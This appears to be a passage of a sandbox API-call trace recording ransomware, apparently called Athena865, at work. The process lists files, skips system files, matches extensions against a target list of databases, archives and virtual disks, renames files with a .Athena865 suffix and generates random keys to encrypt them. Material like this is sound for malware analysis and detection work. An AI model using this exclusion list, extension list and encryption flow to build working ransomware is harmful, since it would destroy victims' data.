RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.511] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.511] CloseHandle (hObject=0x154) returned 1 [0052.511] CloseHandle (hObject=0x17c) returned 1 [0052.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.512] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb18c8660, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb18c8660, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb18ee7c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h0CvEMO6 fApt.lnk", cAlternateFileName="H0CVEM~1.LNK")) returned 1 [0052.512] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2=".") returned 1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="..") returned 1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="windows") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="bootmgr") returned 1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="temp") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="pagefile.sys") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="boot") returned 1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="ids.txt") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="ntuser.dat") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="perflogs") returned -1 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2="MSBuild") returned -1 [0052.513] lstrlenW (lpString="h0CvEMO6 fApt.lnk") returned 17 [0052.513] lstrcpyW (in: lpString1=0x241e8b4, lpString2="h0CvEMO6 fApt.lnk" | out: lpString1="h0CvEMO6 fApt.lnk") returned="h0CvEMO6 fApt.lnk" [0052.513] lstrlenW (lpString="h0CvEMO6 fApt.lnk") returned 17 [0052.513] lstrlenW (lpString="Athena865") returned 9 [0052.513] lstrcmpiW (lpString1=" fApt.lnk", lpString2="Athena865") returned -1 [0052.513] lstrlenW (lpString=".dll") returned 4 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2=".dll") returned 1 [0052.513] lstrlenW (lpString=".lnk") returned 4 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2=".lnk") returned 1 [0052.513] lstrlenW (lpString=".ini") returned 4 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2=".ini") returned 1 [0052.513] lstrlenW (lpString=".sys") returned 4 [0052.513] lstrcmpiW (lpString1="h0CvEMO6 fApt.lnk", lpString2=".sys") returned 1 [0052.513] lstrlenW (lpString="h0CvEMO6 fApt.lnk") returned 17 [0052.513] lstrlenW (lpString="bak") returned 3 [0052.513] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.513] lstrlenW (lpString="ba_") returned 3 [0052.513] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.513] lstrlenW (lpString="dbb") returned 3 [0052.513] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.514] lstrlenW (lpString="vmdk") returned 4 [0052.514] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.514] lstrlenW (lpString="rar") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.514] lstrlenW (lpString="zip") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.514] lstrlenW (lpString="tgz") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.514] lstrlenW (lpString="vbox") returned 4 [0052.514] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.514] lstrlenW (lpString="vdi") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.514] lstrlenW (lpString="vhd") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.514] lstrlenW (lpString="vhdx") returned 4 [0052.514] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.514] lstrlenW (lpString="avhd") returned 4 [0052.514] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.514] lstrlenW (lpString="db") returned 2 [0052.514] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.514] lstrlenW (lpString="db2") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.514] lstrlenW (lpString="db3") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.514] lstrlenW (lpString="dbf") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.514] lstrlenW (lpString="mdf") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.514] lstrlenW (lpString="mdb") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.514] lstrlenW (lpString="sql") returned 3 [0052.514] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.514] lstrlenW (lpString="sqlite") returned 6 [0052.514] lstrcmpiW (lpString1="pt.lnk", lpString2="sqlite") returned -1 [0052.515] lstrlenW (lpString="sqlite3") returned 7 [0052.515] lstrcmpiW (lpString1="Apt.lnk", lpString2="sqlite3") returned -1 [0052.515] lstrlenW (lpString="sqlitedb") returned 8 [0052.515] lstrcmpiW (lpString1="fApt.lnk", lpString2="sqlitedb") returned -1 [0052.515] lstrlenW (lpString="xml") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.515] lstrlenW (lpString="$er") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.515] lstrlenW (lpString="4dd") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.515] lstrlenW (lpString="4dl") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.515] lstrlenW (lpString="^^^") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.515] lstrlenW (lpString="abs") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.515] lstrlenW (lpString="abx") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.515] lstrlenW (lpString="accdb") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accdb") returned 1 [0052.515] lstrlenW (lpString="accdc") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accdc") returned 1 [0052.515] lstrlenW (lpString="accde") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accde") returned 1 [0052.515] lstrlenW (lpString="accdr") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accdr") returned 1 [0052.515] lstrlenW (lpString="accdt") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accdt") returned 1 [0052.515] lstrlenW (lpString="accdw") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accdw") returned 1 [0052.515] lstrlenW (lpString="accft") returned 5 [0052.515] lstrcmpiW (lpString1="t.lnk", lpString2="accft") returned 1 [0052.515] lstrlenW (lpString="adb") returned 3 [0052.515] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.516] lstrlenW (lpString="adb") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.516] lstrlenW (lpString="ade") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.516] lstrlenW (lpString="adf") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.516] lstrlenW (lpString="adn") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.516] lstrlenW (lpString="adp") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.516] lstrlenW (lpString="alf") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.516] lstrlenW (lpString="ask") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.516] lstrlenW (lpString="btr") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.516] lstrlenW (lpString="cat") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.516] lstrlenW (lpString="cdb") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.516] lstrlenW (lpString="ckp") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.516] lstrlenW (lpString="cma") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.516] lstrlenW (lpString="cpd") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.516] lstrlenW (lpString="dacpac") returned 6 [0052.516] lstrcmpiW (lpString1="pt.lnk", lpString2="dacpac") returned 1 [0052.516] lstrlenW (lpString="dad") returned 3 [0052.516] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.516] lstrlenW (lpString="dadiagrams") returned 10 [0052.516] lstrcmpiW (lpString1="6 fApt.lnk", lpString2="dadiagrams") returned -1 [0052.516] lstrlenW (lpString="daschema") returned 8 [0052.516] lstrcmpiW (lpString1="fApt.lnk", lpString2="daschema") returned 1 [0052.517] lstrlenW (lpString="db-journal") returned 10 [0052.517] lstrcmpiW (lpString1="6 fApt.lnk", lpString2="db-journal") returned -1 [0052.517] lstrlenW (lpString="db-shm") returned 6 [0052.517] lstrcmpiW (lpString1="pt.lnk", lpString2="db-shm") returned 1 [0052.517] lstrlenW (lpString="db-wal") returned 6 [0052.517] lstrcmpiW (lpString1="pt.lnk", lpString2="db-wal") returned 1 [0052.517] lstrlenW (lpString="dbc") returned 3 [0052.517] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.517] lstrlenW (lpString="dbs") returned 3 [0052.517] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.517] lstrlenW (lpString="dbt") returned 3 [0052.517] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.517] lstrlenW (lpString="dbv") returned 3 [0052.517] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.517] lstrlenW (lpString="dbx") returned 3 [0052.517] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.517] lstrlenW (lpString="dcb") returned 3 [0052.517] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.517] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0CvEMO6 fApt.lnk.Athena865") returned 81 [0052.517] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0CvEMO6 fApt.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\h0cvemo6 fapt.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0CvEMO6 fApt.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\h0cvemo6 fapt.lnk.athena865"), dwFlags=0x1) returned 1 [0052.520] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0CvEMO6 fApt.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\h0cvemo6 fapt.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.521] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5101) returned 1 [0052.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.521] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.522] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.522] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.522] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f0, lpName=0x0) returned 0x154 [0052.522] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f0) returned 0x100000 [0052.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.523] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.523] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.524] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.524] CloseHandle (hObject=0x154) returned 1 [0052.524] CloseHandle (hObject=0x17c) returned 1 [0052.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.525] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4092c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf4092c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf4092c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h0ScNVYm6.lnk", cAlternateFileName="H0SCNV~1.LNK")) returned 1 [0052.525] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.525] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.525] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2=".") returned 1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="..") returned 1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="windows") returned -1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="bootmgr") returned 1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="temp") returned -1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="pagefile.sys") returned -1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="boot") returned 1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="ids.txt") returned -1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="ntuser.dat") returned -1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="perflogs") returned -1 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2="MSBuild") returned -1 [0052.526] lstrlenW (lpString="h0ScNVYm6.lnk") returned 13 [0052.526] lstrcpyW (in: lpString1=0x241e8b4, lpString2="h0ScNVYm6.lnk" | out: lpString1="h0ScNVYm6.lnk") returned="h0ScNVYm6.lnk" [0052.526] lstrlenW (lpString="h0ScNVYm6.lnk") returned 13 [0052.526] lstrlenW (lpString="Athena865") returned 9 [0052.526] lstrcmpiW (lpString1="NVYm6.lnk", lpString2="Athena865") returned 1 [0052.526] lstrlenW (lpString=".dll") returned 4 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2=".dll") returned 1 [0052.526] lstrlenW (lpString=".lnk") returned 4 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2=".lnk") returned 1 [0052.526] lstrlenW (lpString=".ini") returned 4 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2=".ini") returned 1 [0052.526] lstrlenW (lpString=".sys") returned 4 [0052.526] lstrcmpiW (lpString1="h0ScNVYm6.lnk", lpString2=".sys") returned 1 [0052.526] lstrlenW (lpString="h0ScNVYm6.lnk") returned 13 [0052.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0ScNVYm6.lnk.Athena865") returned 77 [0052.526] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0ScNVYm6.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\h0scnvym6.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0ScNVYm6.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\h0scnvym6.lnk.athena865"), dwFlags=0x1) returned 1 [0052.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\h0ScNVYm6.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\h0scnvym6.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1010) returned 1 [0052.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.529] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.529] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.529] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.530] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x700, lpName=0x0) returned 0x154 [0052.530] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x700) returned 0x100000 [0052.530] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.531] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.531] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.531] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.531] CloseHandle (hObject=0x154) returned 1 [0052.532] CloseHandle (hObject=0x17c) returned 1 [0052.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.535] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2358800, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb2358800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb237e960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hhvAWIyB-LHiXo.lnk", cAlternateFileName="HHVAWI~1.LNK")) returned 1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2=".") returned 1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="..") returned 1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="windows") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="bootmgr") returned 1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="temp") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="pagefile.sys") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="boot") returned 1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="ids.txt") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="ntuser.dat") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="perflogs") returned -1 [0052.536] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2="MSBuild") returned -1 [0052.536] lstrlenW (lpString="hhvAWIyB-LHiXo.lnk") returned 18 [0052.537] lstrcpyW (in: lpString1=0x241e8b4, lpString2="hhvAWIyB-LHiXo.lnk" | out: lpString1="hhvAWIyB-LHiXo.lnk") returned="hhvAWIyB-LHiXo.lnk" [0052.537] lstrlenW (lpString="hhvAWIyB-LHiXo.lnk") returned 18 [0052.537] lstrlenW (lpString="Athena865") returned 9 [0052.537] lstrcmpiW (lpString1="LHiXo.lnk", lpString2="Athena865") returned 1 [0052.537] lstrlenW (lpString=".dll") returned 4 [0052.537] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2=".dll") returned 1 [0052.537] lstrlenW (lpString=".lnk") returned 4 [0052.537] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2=".lnk") returned 1 [0052.537] lstrlenW (lpString=".ini") returned 4 [0052.537] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2=".ini") returned 1 [0052.537] lstrlenW (lpString=".sys") returned 4 [0052.537] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.lnk", lpString2=".sys") returned 1 [0052.537] lstrlenW (lpString="hhvAWIyB-LHiXo.lnk") returned 18 [0052.537] lstrlenW (lpString="bak") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.537] lstrlenW (lpString="ba_") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.537] lstrlenW (lpString="dbb") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.537] lstrlenW (lpString="vmdk") returned 4 [0052.537] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.537] lstrlenW (lpString="rar") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.537] lstrlenW (lpString="zip") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.537] lstrlenW (lpString="tgz") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.537] lstrlenW (lpString="vbox") returned 4 [0052.537] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.537] lstrlenW (lpString="vdi") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.537] lstrlenW (lpString="vhd") returned 3 [0052.537] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.537] lstrlenW (lpString="vhdx") returned 4 [0052.538] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.538] lstrlenW (lpString="avhd") 